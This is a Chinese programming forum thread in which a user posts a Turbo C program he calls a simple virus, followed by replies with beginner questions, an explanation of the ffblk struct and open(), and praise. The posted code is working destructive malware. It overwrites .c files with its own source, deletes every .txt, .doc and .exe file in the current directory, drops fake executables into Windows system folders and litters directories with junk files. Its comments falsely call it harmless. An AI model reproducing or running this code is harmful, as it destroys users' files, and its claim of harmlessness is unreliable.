回 帖 发 新 帖 刷新版面

主题:五一写的简单C病毒,请大家给些意见!

            
/**********************************


IN FACT,IT"S NOT A VIRYUS AT ALL.


**********************************/

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;

    in = fopen(infile,"r");
    out = fopen(outfile,"w");

    while (!feof(in))
    {
        fputc(fgetc(in),out);
    }

    fclose(in);
    fclose(out);
}

/*

This function  named Rubbishmaker.

*/
void MakeRubbish()
{
    int i;    
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
    char *addtion = ":\\";

    /* Make some rubbish at the current catalogue */
    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX" ;

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }


/* make some rubbish at the root catalogue */

    path = strcat(disk[getdisk()],addtion); /* get the root catalogue */

    chdir(path); /*change directory according to the "path" */

    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX";

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }

}


/*

  This function can  creat some .exe or .com documents in the sensitive place.
  Don't worry,It's only a joke.It will do no harm to your computer.

*/

void CreatEXE()
{
    int i;
    char *path;

    char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};


    for ( i = 0; i < 2; i++)
    {
        open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);

    }
}


/* remove something from your computer */
void Remove()
{
        
    int done;
    int i;

    struct ffblk ffblk;
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};
    for (i = 0; i < 3; i++)
    {
        done = findfirst(documenttype[i],&ffblk,2);
        while (!done)
        {
                remove(ffblk.ff_name);
                done = findnext(&ffblk);
        }
    }
}



/* overlay the c programs */
void Breed()
{
        
    int done;

    struct ffblk ffblk;

    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        {
                copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }

}


void main()
{

        

        printf("THERE IS A VIRUS BY  XIAOKE.\n\n");

        Breed();
        Remove();
        CreatEXE();


        printf("COULD YOU TELL ME YOUR NAME?\n\n");
        printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

        MakeRubbish();
        getchar();
        printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

        clrscr();
        system("cmd");
}

                                                       

        
        
            
        


   [em1][em1][em1][em1]

回复列表 (共57个回复)

21 楼

呵呵……高手挺多1

22 楼

[em10]

23 楼

在哪下载源代码???

24 楼

小弟大一新生,也是菜鸟一个,以后请各位高手指教。

25 楼

struct ffblk ffblk 是什么结构来的。

26 楼

open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);

  这两句是什么意思啊,高手!!!!!!

27 楼

zjw149:
ffblk是TC里对文件操作的结构体,完整如下:
struct ffblk
{
  char  ff_reserved[21];/*DOS保留字*/
  char  ff_attrib;/*文件属性*/
  int    ff_ftime;/*文件时间*/
  int    ff_fdate;/*文件日期*/
  long  ff_fsize;/*文件长度*/
  char  ff_name[13];/*文件名*/
};

open是TC利包含在dir.h里的一个函数,为读或写打开一个文件,按后按access来确定是读文件还是写文件,用法:    int  open(char *pathname,int access[,int permiss])
其中access,permiss是一些TC定义的参数,具体的东西,你如有兴趣可以下载TC中文说明看看,实际上很简单,只不过用得很少。
至于copyfile,是我前面定义的一个函数,只用到了文件的基本操作,看看书吧。

28 楼

不明白啊 
我希望以后高手给点注释
要不我们这些菜鸟怎么混啊

29 楼

保存
对学习文件操作有帮助

30 楼

编的不错。
一个小程序把病毒的机理全讲明白了。
天天看C语言,竟没发现它也可以做删除,查找用。。
呵呵,,,佩服佩服

我来回复

您尚未登录,请登录后再回复。点此登录或注册